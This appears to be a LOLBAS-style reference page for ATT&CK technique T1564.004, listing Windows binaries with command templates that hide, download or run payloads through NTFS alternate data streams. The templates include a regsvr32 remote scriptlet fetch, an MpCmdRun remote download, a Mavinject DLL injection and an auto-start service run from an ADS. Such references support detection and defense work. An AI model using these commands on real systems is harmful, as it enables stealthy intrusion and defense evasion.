T1564.004: Technique T1564.004
Adversaries may leverage living-off-the-land techniques (T1564.004) to achieve execution, evade defenses, or transfer tools.
Living-off-the-Land Matrix for T1564.004
Across 18 verified binariesCmd.exe
The command-line interpreter in Windows
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.batDiantz.exe
Binary that package existing files into a cabinet (.cab) file
diantz.exe {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:targetFile.cabEsentutl.exe
Binary for working with Microsoft Joint Engine Technology (JET) database
esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /oExpand.exe
Binary that expands one or more compressed files
expand {PATH_SMB:.bat} {PATH_ABSOLUTE:.bat}Extrac32.exe
Extract to ADS, copy or overwrite a file with Extrac32.exe
extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exeFindstr.exe
Write to ADS, discover, or download files with Findstr.exe
findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exeForfiles.exe
Selects and executes a command on a file or set of files. This command is useful for batch processing.
forfiles /p c:\windows\system32 /m notepad.exe /c "{CMD}"Makecab.exe
Binary to package existing files into a cabinet (.cab) file
makecab {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:autoruns.cabMavinject.exe
Used by App-v in Windows
MavInject.exe 3110 /INJECTRUNNING {PATH_ABSOLUTE:.dll}MpCmdRun.exe
Binary part of Windows Defender. Used to manage settings in Windows Defender
MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}Print.exe
Used by Windows to send files to the printer
print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe}PrintBrm.exe
Printer Migration Command-Line Tool
PrintBrm -b -d {PATH_SMB:folder} -f {PATH_ABSOLUTE:.zip}Reg.exe
Used to manipulate the registry
reg export HKLM\SOFTWARE\Microsoft\Evilreg {PATH_ABSOLUTE}:evilreg.regRegedit.exe
Used by Windows to manipulate registry
regedit /E {PATH_ABSOLUTE}:regfile.reg HKEY_CURRENT_USER\MyCustomRegKeyRegini.exe
Used to manipulate the registry
regini.exe {PATH}:hidden.iniSc.exe
Used by Windows to manage services
sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto\ & sc start evilserviceTar.exe
Used by Windows to extract and create archives.
tar -cf {PATH}:ads {PATH_ABSOLUTE:folder}Wscript.exe
Used by Windows to execute scripts
wscript //e:vbscript {PATH}:script.vbs